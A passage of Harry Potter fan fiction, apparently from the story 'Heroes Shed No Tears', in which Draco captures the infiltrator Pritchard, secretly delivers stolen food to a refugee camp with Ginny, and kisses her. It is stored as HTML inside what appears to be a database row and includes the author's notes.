blanched and his mouth opened slightly, unable to form words.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;To what do we owe this pleasure, Malfoy?&#8221; said Zabini, looking over at Draco expectantly. It wasn&#8217;t everyday that he came bursting into his office in this manner. And he certainly hadn&#8217;t ever seen Draco so&#8230;<i>disheveled</i>&nbsp; before. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco ran a hasty hand through his hair, as if sensing Zabini&#8217;s thoughts, and stepped through the doorway, shutting the door slowly behind him. He looked at the infiltrate with a seemingly mild interest as he approached Zabini&#8217;s desk. &#8220;I was hoping,&#8221; said Draco, &#8220;That I could borrow Pritchard for a moment. We have something important to discuss. He had said previously that we would be meeting at this time&#8230;. I was disappointed that he didn&#8217;t show up.&#8221; Draco eyed Pritchard calmly. &#8220;If I could just speak to him for a moment outside?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Zabini lowered his eyebrows and twirled his empty cup around on his desk with nimble fingers. Fingers that were able to grab his wand out of his pocket and cast the Unforgivables in mere seconds. &#8220;Is this really that important?&#8221; He was preparing to tell me something <i>very</i> crucial to our position against the Resistance.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s important, Zabini,&#8221; Draco said firmly. &#8220;Lives could depend on it,&#8221; he added with a grim smile.</p>\n\n<p>&nbsp;</p>\n\n<p>Zabini&#8217;s eyes carefully searched Draco&#8217;s face for any signs of deception, yet found none. He nodded shortly and waved his hand at Pritchard. &#8220;Go on,&#8221; he said. &#8220;But I better have him back in here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Pritchard looked to Draco, his face set like stone. He got up from his chair and followed Draco out of the darkly furnished office. Draco took care to shut the large oaken door behind them.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Clever,&#8221; said Draco, glancing surreptitiously down the halls to see if anyone was coming. &#8220;You thought you had everyone fooled.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I did,&#8221; Pritchard said steadily. &#8220;I had <i>everyone</i> fooled: Penelope, Dumbledore, Potter, the Weasley&#8217;s and even your <i>precious </i>Ginny.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>At that comment, Draco flung his fist out, decking Pritchard in the jaw.</p>\n\n<p>&nbsp;</p>\n\n<p>Pritchard stepped back, momentarily shocked. His brow furrowed and he cocked his fists, ready to slam them into Draco&#8217;s face. &#8220;<i>Bastard</i>,&#8221; Pritchard rasped, glaring hatefully at Draco.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco raised his eyebrows. &#8220;Me? No, I think you&#8217;re the bastard here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Pritchard growled and swung at Draco. Draco leaned back and stepped to the side, escaping Pritchard&#8217;s fist. He then kicked his foot up and caught Pritchard behind the knees, causing him to fall forward.</p>\n\n<p>&nbsp;</p>\n\n<p>He fell onto his wrists, the sickly crunch of bones breaking echoed throughout the halls. Draco whipped his head back and looked to the closed door of Zabini&#8217;s office. He pulled his wand out quickly and muttered a silencing spell on Pritchard.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s enough. I&#8217;m tired of hearing lame excuses from a sadistic bastard.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Mobilus</i>,&#8221; murmured Draco. He started to walk down the hall, making his way out of the building, Pritchard&#8217;s feet hovering barely a centimeter off the ground, following him silently.</p>\n\n<p>&nbsp;</p>\n\n<p>The secretary at the front desk looked up at Draco and smiled. &#8220;Good day, Mr. Malfoy, Mr. Pritchard.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco inclined his head and exited the building, bringing Pritchard out behind him. He had to get back to Hogwarts before Zabini realized something was up, and fast.</p>\n\n<p>&nbsp;</p>\n\n<p>After he was sure that he had cleared the premises of the Head Quarters, and was well out of sight of any Death Eaters on patrol, he reached into his robes and pulled out a lighter. It was small, slim and silver, an even smaller dragon etched into its surface. He flipped the top open to reveal a small marble sitting on top of a rounded platform. It was his emergency Portkey to Hogwarts. Dumbledore had slipped it to him as he was leaving the castle an hour earlier.</p>\n\n<p>&nbsp;</p>\n\n<p>He grabbed Pritchard&#8217;s arm roughly, and popped the marble into his free hand. The familiar sensation of a hook pulling just behind his navel came and his surroundings blurred, only to come back into focus in Dumbledore&#8217;s office.</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore had been sitting behind his desk, a book open on his lap, and his spectacles resting on the bridge of his nose. He calmly looked up at Draco holding onto Pritchard&#8217;s arm, as if he had been expecting them.</p>\n\n<p>&nbsp;</p>\n\n<p>He smiled dryly. &#8220;I see, Mr. Malfoy, that you&#8217;ve caught our infiltrate?&#8221; His eyes flickered over to Pritchard, his deep-blue orbs shining dangerously.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded. &#8220;I caught him right before he could reveal me. Though I&#8217;m sure they&#8217;ll know once they&#8217;ve realized I had no intention of coming back with him.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Getting up out of his chair and walking across the room, Dumbledore pulled the latch free on his phoenix, Fawkes&#8217;, cage and let him out. The phoenix took a pre-prepared scroll from Dumbledore&#8217;s hand and flew out the window majestically.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The others will be coming,&#8221; said Dumbledore. &#8220;I&#8217;m sure they&#8217;ll want to see who the infiltrate is.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco shoved Pritchard down in one of the many chairs and release the <i>Mobilus</i> spell from him and instead put him under a full body bind.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It also turns out,&#8221; Draco said, &#8220;That he personally harmed Penelope.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore&#8217;s eyebrows rose. &#8220;Sick-making,&#8221; he said with a slow, sad shake of his head.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny was the first to enter, her eyes scanned the room, only to rest on Pritchard. &#8220;Bane?&#8221; she half-whispered. She brought a hand up to her face and looked at Draco, &#8220;You&#8217;re sure it&#8217;s him?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well,&#8221; Draco said woodenly. &#8220;He was in Zabini&#8217;s office when I reached the Death Eater head quarters, so yes, I think so.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny blinked and looked over at Pritchard with obvious distaste in her eyes. &#8220;That&#8217;s awful,&#8221; she said to Bane. &#8220;I thought you were better than that.&#8221; She shook her head. &#8220;To think that such a sweet girl like Sara has you for a father.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>A quick flash of approval flickered in Draco&#8217;s hardened grey eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>The door opened again and Hermione and Neville stepped in. Neville&#8217;s eyes widened as he looked at Pritchard. &#8220;It&#8217;s <i>him</i>?&#8221; he said breathlessly. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, Mr. Longbottom,&#8221; said Dumbledore.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione shook her head disbelievingly. &#8220;This is amazing. To think that we all thought you were noble, and a kind father&#8230; you were so gentle with Sara&#8230;.&#8221; she trailed off and shook her head. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco sighed quietly and looked over at Dumbledore. &#8220;I&#8217;m leaving,&#8221; he said. &#8220;I think I&#8217;ve helped plenty today.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore inclined his head. &#8220;Rest, Mr. Malfoy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded shortly and left the office. Ginny looked after him, then to Dumbledore. &#8220;I&#8217;m going to see Sara,&#8221; she said. &#8220;I won&#8217;t tell her anything, but I want to check on her and make sure she&#8217;s ok.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Go ahead, the others will be arriving shortly.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>--</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny hiked up the stairs leading to the dormitory that she shared with Draco. Sara had been napping on the couch with a big book across her lap.&nbsp; Ginny grabbed a throw blanket from a nearby chair and draped it over Sara.&nbsp; Sara shifted comfortably underneath the blanket; Ginny smiled and gently brushed a few stray strands of Sara&#8217;s hair back from her face.&nbsp; &#8220;Rest well.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Pushing open &nbsp;the door to their room, Ginny saw Draco pulling a robe over his head. He straightened it, looking in the mirror. He tensed when he saw Ginny&#8217;s reflection standing behind him. &#8220;Weasley,&#8221; he acknowledged. </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny took in the appearance of the robes he had just put on. They were slightly darker than his other black robes &#8211; the shade more rich. There was also a small silver dragon embroidered on the hood. He had a piece of limp black cloth hanging in his hand. It was his mask.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re going out?&#8221; she asked hesitantly. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes,&#8221; he said shortly, turning to face her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Where?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t see how that&#8217;s any of your business, Weasley.&#8221; He walked over to his bed, sat down, and started to tug his shoes on, lacing them tightly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re going out to do your Dragon of Hope thing, aren&#8217;t you?&#8221; she asked playfully, a small grin tugging at the corner of her lips.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco looked up at her sourly. &#8220;It&#8217;s not a <i>thing</i>.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny grinned broadly. &#8220;That&#8217;s so <i>sweet</i>.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m <i>not</i> sweet.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny&#8217;s expression sobered suddenly. &#8220;You&#8217;d better be careful, they&#8217;re probably already on to you, after the whole thing with Bane.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t see how that&#8217;s any of your concern,&#8221; he said, standing back up.</p>\n\n<p>&nbsp;</p>\n\n<p>She frowned at him. &#8220;If one of my friends is in danger, it&#8217;s most definitely my concern.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco&#8217;s eyebrow quirked, &#8220;friend?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes&#8230;&#8221; Ginny said slowly. &#8220;You are my friend, aren&#8217;t you? We&#8217;re on the same side, and we&#8217;re working together&#8230;so I just figured.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He waved his hand at her. &#8220;Yeah, yeah.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Do you think that I could go with you?&#8221; she asked giving her best puppy-dog eyes expression. &nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Go with me?&#8221; he asked incredulously.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, I do believe that&#8217;s what I said.&#8221; She waited for him to say something, but he just looked at her with a blank expression. &#8220;<i>Go with you </i>means: can I come, would it be alright for me to join you, can I tag along?&#8221; She waved at hand in front of his face. &#8220;Know what that means?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco&#8217;s eyes narrowed. &#8220;I&#8217;m not an idiot, Weasley.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny shrugged. &#8220;Could have fooled me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And this is supposed to make me <i>want</i> to bring you?&#8221; he asked, arching a blond eyebrow. </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny&#8217;s cheeks tinged pink slightly. &#8220;Maybe that wasn&#8217;t my best plan&#8230;.&#8221; She looked back up at him hopefully. &#8220;Please bring me,&#8221; she said. &#8220;Please?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Lifting a hand up to his face, Draco rubbed his tired eyes and looked back at Ginny thoughtfully. &#8220;If you get in the way,&#8221; he said. Her face brightened immediately. &#8220;Don&#8217;t think that I won&#8217;t hesitate to leave you behind.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny nodded. &#8220;Of course, but I promise I won&#8217;t get in the way.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Alright, alright,&#8221; Draco said shortly. &#8220;Go get ready &#8211; and I&#8217;m not waiting anymore than five minutes.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>--</p>\n\n<p>&nbsp;</p>\n\n<p>They were riding brooms in the cool evening air. The sun was low, casting pinks, blues, and oranges into the fluffy clouds on the horizon. If one didn&#8217;t think about the reason that Draco and Ginny were out, it could have been described as perfect.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now why did we have to ride brooms again?&#8221; Ginny asked, shifting on hers slightly to alleviate the growing numbness in her bottom.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco restrained an urge to roll his eyes. &#8220;Because there are wards up all over the place that detect Apparations. If we even tried to apparate in there it would be like holding pots over our heads and banging metal spoons on them, saying, &#8216;I&#8217;m here to steal your food! I&#8217;m here to steal your food!&#8217;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny laughed quietly. &#8220;It&#8217;s hard to imagine you holding a pot over your head.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That was the point,&#8221; said Draco. &#8220;To make you see how stupid it would be to Apparate.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Point taken,&#8221; she said as they started their descent into the outskirts of Hogsmeade.</p>\n\n<p>&nbsp;</p>\n\n<p>They landed stealthily, clamping their hands around the twigs at the bottom of their brooms to keep them from rustling in the faint wind. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now,&#8221; Draco whispered. &#8220;You just follow me, hood up, we&#8217;re going to get the food from here &#8211; they&#8217;ve got the most to spare.&#8221; Ginny nodded and followed him down into the main street of Hogsmeade.</p>\n\n<p>&nbsp;</p>\n\n<p>Making it to the end of the street successfully, no hags trying to molest them, they came upon the Serpent&#8217;s League HQ. Draco beckoned Ginny to follow him around the back of the building. Suddenly a strong, foul smelling odor invaded their noses. Ginny grimaced and pinched her nose shut, deciding to breathe through her mouth, which wasn&#8217;t all that much of an improvement considering how bad the stench was. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Grimdir?&#8221; Draco called out softly, stepping around the corner. Ginny followed him and saw a sleeping troll leaning against a shed. Apparently, he was supposed to guard the food rations. &nbsp;&#8220;Good,&#8221; Draco said. &#8220;This&#8217;ll make it easier.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He slipped over to the front of the shed and pulled out his wand, whispering, &#8220;<i>Alohamora</i>.&#8221; The lock clicked open and Draco pulled the door back, disappearing inside. Ginny stayed next to the door, deciding that she would probably be more help as a look-out. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco came out a few seconds later with a burlap sack slung over his shoulder. Ginny looked at it closely. &#8220;Isn&#8217;t that a bit small for all of the food?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shrinking spell,&#8221; Draco said tersely. &#8220;Come on,&#8221; he said, half dragging her out of the vicinity of the shed. </p>\n\n<p>&nbsp;</p>\n\n<p>His hand still tightened around her arm, he led her out back into Hogsmeade&#8217;s main street. Ginny felt safer as soon as the warm lights from the shops shined on them &#8211; it had grown dark since they left Hogwarts. But even the warm lights couldn&#8217;t keep out the fear that flashed through her heart when she saw Mathilde Lestrange, recognizing her instantly from the day in Ollivander&#8217;s, pass by, hesitating only for a moment when Draco and Ginny passed her.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny let out a slow breath of relief, feeling Draco&#8217;s hand clench tighter on her shoulder after she&#8217;d passed. She would have expected him to sigh as well if he&#8217;d been any other person. </p>\n\n<p>&nbsp;</p>\n\n<p>They reached the outskirts in good time and mounted their brooms, flying off into the night sky toward the same camp that Ginny had called home for the years that she lived there.</p>\n\n<p>&nbsp;</p>\n\n<p>---</p>\n\n<p>&nbsp;</p>\n\n<p>They touched down near a woods not to far from the camp. Draco took their brooms and leaned them against a tree, putting a locator spell on them in case they couldn&#8217;t find them later. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How exactly does this go?&#8221; Ginny asked. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How does what go?&#8221; said Draco, finishing his spell.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny&#8217;s hands floundered in the air for a moment. &#8220;This whole&#8230;Dragon of Hope thing. Do you just go up to people and hand them food?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco snorted. &#8220;Of course not, you have to be a bit more sneaky than that. You were there last time I did anything. Some people are idiots.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny nodded and followed him towards the refugee camp a cold feeling forming in the pit of her stomach the closer she got. Soon the butternut robes and cloth tents made their appearance, the flaps fluttering in the wind. People were sitting outside of their tents washing their dinner dishes, or what little dishes they had. Ginny couldn&#8217;t help but think that maybe she should be there. Why should she be staying at Hogwarts while they&#8217;re all still suffering at the hands of the New Ministry?</p>\n\n<p>&nbsp;</p>\n\n<p>Draco pulled his hood up closer around his face and tied his mask on tighter. &#8220;Make sure your hood is up,&#8221; he said quietly. Ginny reached up to adjust her hood right as they stepped into the camp. Draco led her into the shadows, the cold in the pit of her stomach growing with every step. </p>\n\n<p>&nbsp;</p>\n\n<p>He lifted a hand and pointed to a small boy limping back to a tent not far off. He was carrying a bucket of water back to the tent, water sloshing out with every step he took, drenching both himself and the ground below. Ginny winced knowing how precious the water is to the families in the camp. The boy&#8217;s mother would be furious that so much of it had been wasted.</p>\n\n<p>&nbsp;</p>\n\n<p>The boy made it to the tent, five other small children filed out of the tent to help him carry the water in, some stuck their hands into the water and slurped it up eagerly. </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny felt her heart ache for the children. They were all skin and bones, and their filthy robes hung on them. &#8220;We&#8217;re going there first,&#8221; Draco whispered. &#8220;I&#8217;ve helped them out a few times before.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny nodded and followed him to the tent, keeping in the shadows. They went around to the back of the tent, where there was a slit cut in the back for them to throw their trash out of. Draco reached into his sack and pulled out two miniature bags of lentils and four tiny parcels of carrots. He waved his wand over them, muttering a quiet charm and they resumed their full size. He slipped them through the slit and touched Ginny&#8217;s shoulder, urging her away.</p>\n\n<p>&nbsp;</p>\n\n<p>They made it to the end of the rows of tents before they heard the loud and blissful laughter streaming out of the tent they&#8217;d just visited. Ginny beamed as she heard the children&#8217;s tinkling laughter. She looked over to Draco to see if he was smiling to, but his face was set, only determined to reach another tent.</p>\n\n<p>&nbsp;</p>\n\n<p>They visited a few other tents before a light shone over them, voices whispering behind them: &#8220;There he is!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco&#8217;s eyes widened for a moment, and he grabbed Ginny and pulled her after him, and ran from the camp. Ginny&#8217;s feet were propelled to go faster than they normally would because of the voices yelling after them. </p>\n\n<p>&nbsp;</p>\n\n<p>They followed them out of the camp and to the woods where Draco used the locating charm to find the brooms. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco straddled his quickly, and Ginny put a leg up to straddle hers, but didn&#8217;t go far enough and slammed her foot down so hard that the broom snapped loudly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh no,&#8221; Ginny wailed, picking up the two pieces of her broom. Draco flung his arm around her waist and yanked her onto his broom and took off, the Death Eaters&#8217; voices too close for comfort.</p>\n\n<p>&nbsp;</p>\n\n<p>They flew up, circled around the woodland and took off towards Narcissa&#8217;s house, Ginny sat in front of Draco, his arms where around her gripping the broom handle in front of her tightly. Ginny sighed in relief as she looked back and didn&#8217;t see any Death Eater&#8217;s following them. </p>\n\n<p>&nbsp;</p>\n\n<p>She rubbed her face. &#8220;That was close,&#8221; she said.&nbsp; Her red hair was flying around her face wildly in the wind, whipping her cheeks harshly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Gods, Weasley,&#8221; said Draco. &#8220;Can&#8217;t you do something about your hair? It&#8217;s going to blind me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny rolled her eyes and put her hands in the pockets of her robes and came up with an elastic; she pulled her hair together in one hand and wound the elastic around it, holding it in place. &#8220;Better?&#8221; she asked.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Much,&#8221; said Draco. His hands tightened around the broom handle in front of her and he let out a low sigh.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thanks for letting me come with you,&#8221; said Ginny, feeling her eyes droop slightly. Fatigue was starting to set in, and she hadn&#8217;t slept a whole night since they arrived at Hogwarts.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No problem,&#8221; Draco said quietly.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny&#8217;s body grew progressively limp until her back was slack up against Draco&#8217;s chest, her hands loose on the broom stick in front of her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Weasley,&#8221; Draco growled softly. Ginny lay against him quietly, not replying. &#8220;Ginny,&#8221; he tried a little bit louder. She mumbled quietly and turned slightly and buried her nose in his shoulder. He sighed and shifted on the broom so that she could fall into a more comfortable position.</p>\n\n<p>&nbsp;</p>\n\n<p>She smelled of cinnamon and vanilla, Draco found himself leaning in closer and closer, breathing in the warmth of her scent. He jerked his head back and shook his head, &#8220;Get a grip, Malfoy,&#8221; he muttered under his breath.</p>\n\n<p>&nbsp;</p>\n\n<p>---</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco! Ginny!&#8221; exclaimed Narcissa, as she saw them coming in through the entrance hall. &#8220;What are you doing back so soon?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Want us to leave, mother?&#8221; Draco asked with a teasing smile.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No,&#8221; she said quickly. &#8220;But it&#8217;s just so late.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We were out,&#8221; Draco said vaguely. &#8220;Ginny&#8217;s broom snapped, so we&#8217;re going to floo back to Hogwarts.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Narcissa nodded. &#8220;I see. Well, Haven&#8217;s not asleep yet, would you like to see him?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes,&#8221; said Draco, putting a hand on Ginny&#8217;s arm and pulling her after him to Haven&#8217;s room. She used her free hand to wipe the sleep from her eyes. Falling asleep on Draco although awkward, had not been an entirely uncomfortable thing to do. When he tried to wake her, he was shaking her arm, saying, &#8220;Wake up, Weasley&#8230;.&#8221; She&#8217;d stir a bit, but she wouldn&#8217;t wake. So he&#8217;d shake her again, &#8220;<i>Ginny</i>, we&#8217;re here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>When she&#8217;d finally come to, she&#8217;s been disoriented and Draco had to remind her of what happened. She&#8217;d felt like the biggest idiot. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco turned the knob on the door to Haven&#8217;s room and pushed it open. Haven was lying in bed, covers pulled up to his chin, sleeping. Ginny followed Draco into the room and perched herself on the edge of Haven&#8217;s bed, Draco stood behind her.</p>\n\n<p>&nbsp;</p>\n\n<p>She touched his cheek gently. Haven&#8217;s eyes fluttered open and he looked at Ginny groggily.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny?&#8221; he said, balling his hands, raising them up to rub his eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m here,&#8221; she said. &#8220;Your dad said that you wanted to see me before we had to go fight.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Haven smiled. &#8220;I did,&#8221; he looked up and saw Draco standing behind her. &#8220;Hi, Daddy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The corner of Draco&#8217;s mouth turned up and he reached over Ginny to ruffle Haven&#8217;s hair. </p>\n\n<p>&nbsp;</p>\n\n<p>Haven sat up in his bed and scooted closer to Ginny, wrapping his arms around her waist and burying his face into her neck, breathing in deeply. &#8220;Ginny,&#8221; he said, voice muffled. &#8220;I love you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny smiled. &#8220;I love you too, Haven.&#8221; She brought her hands up around him and stroked his hair soothingly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Do you want to marry me?&#8221; Haven asked, lifting his head up for a moment to look at her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Marry you?&#8221; Ginny said, amused. &#8220;Don&#8217;t you think you&#8217;re a bit young for me?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well I think I may be a bit too old for you then.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well&#8230;what about my dad?&#8221; He looked over at Draco, mischief dancing in his grey eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco stiffened. &#8220;I don&#8217;t think that&#8217;s a good idea.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why not? She&#8217;s not too old to marry you,&#8221; said Haven.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny raised and eyebrow, smirking at Draco over Haven&#8217;s head. &#8220;Yes, Draco, why not?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco glared at Ginny, rolling his shoulders unconsciously. &#8220;Because,&#8221; he said. </p>\n\n<p>Ginny giggled.&nbsp; &#8220;I&#8217;ll tell you what, Haven,&#8221; she said. &#8220;If you still want to marry me in about ten years, we&#8217;ll talk, okay?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Haven nodded. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco looked down at his wrist and checked his watch. &#8220;We should be going,&#8221; he said abruptly. Ginny rolled her eyes and squeezed Haven into a hug.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m going to miss you,&#8221; she said, kissing his forehead.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;ll miss you too,&#8221; said Haven, hugging her back. Ginny gave him one last kiss on the forehead and stood up. Draco went over and hugged Haven before leaving the room with Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>-</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shrieking Shack!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny fell through the Shrieking Shack fireplace, Draco caught her before she tripped and hit the ground. He placed her back up right on her feet. &#8220;Thanks,&#8221; she said, looking up at him.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco brought his hand up to her face and cupped her cheek. Ginny frowned and covered his hand with her own.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shh,&#8221; he said softly. Very slowly, he tilted his head down and pressed his lips to hers. She let out a soft sigh and leaned into the kiss. His arms wound possessively around her and she embraced him.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco&#8217;s hand reached up and gently tugged at the elastic in her hair, it gave way and her hair slipped out and fanned onto her shoulders.&nbsp; His fingers began to comb and tug at the silken strands.&nbsp; Her face flushed with a wash of heat.&nbsp; She gasped and Draco slid his tongue through her parted lips to taste the sweetness of her mouth.</p>\n\n<p>&nbsp;</p>\n\n<p>There was a creak outside and they both jumped apart. Ginny looked over at the window, and brought her fingers up to her lips.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We should go,&#8221; said Draco, handing her the elastic for her hair.&nbsp; She took the elastic and fixed her hair.&nbsp; When she looked up he was still standing there, watching her.&nbsp; He trailed a finger down her cheek.&nbsp; &#8220;I can&#8217;t promise you anything.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>[A/N: Well, ta-da! There&#8217;s the chapter, I hope it was well worth the wait. I&#8217;ll probably be done with the next chapter much sooner considering school is out an all, and I&#8217;ve got more free time. Oh, and you can thank my friend Casey for the fluff at the end, the kissy scene (which I&#8217;m horrible at, many thanks to Natalie for helping me out there) because Casey was the one who was bugging me about it at school. Lol. She said there needed to be more kisses. So, thank her. I wasn&#8217;t planning on any for this chapter until she said anything about it.</p>\n\n<p>&nbsp;</p>\n\n<p>Till next time&#8230;</p>\n\n<p>Virtualfaerie]</p>\n\n<p>&nbsp;</p>\n\n<p>Oh yeah! Thanks for all of your reviews! They always mean so much to me. Every time I see a new one I squeal with delight (ok, not really, but almost). Please review some more, maybe it&#8217;ll help me get the next chapter out sooner!</p>\n\n '),
	(99, 14, '\n\n\n\n\n\n<p><b>A/N: </b>Hehe, sorry, took a long time to update again, didn&#8217;t I? Well, I&#8217;m continuing this story despite OotP and how that conflicts with some of my plot. I&#8217;m just going to keep writing this as a Pre-OotP fic. I&#8217;m not going to incorporate any new canon. Anything I do with that will be in a new fic, this one and ATCC are going on as before.</p>\n\n<br>\n\n\n<br> Thanks to Nicole for beta-ing. <br>\n\n\n<br>\n\n\n<p><b>Disclaimer: </b>I don&#8217;t own anything but some evil characters and Haven.</p>\n\n<p><b></b></p>\n\n<p><b>Heroes Shed No Tears &#8211; 14</b></p>\n\n<p>By VirtualFaerie</p>\n\n<p>Shadows danced across the wall from the moon outside the window. Bane Pritchard was sitting in the darkest corner, knees pulled up to his chest, eyes tilted towards the window, dark and broody. In a fit of rage earlier, he had ripped off one of his finger nails clawing at the wooden door, beating on it and demanding that they let him out. Now he was silent and still, waiting for them to return.</p>\n\n<p>A key turned in the lock and the door swung open, the hinges creaking. In stepped four people: Dumbledore, Draco, Harry, and Snape. Dumbledore shut the door behind them and knocked on it twice, and the key turned in the lock again.</p>\n\n<p>Bane watched them under hooded 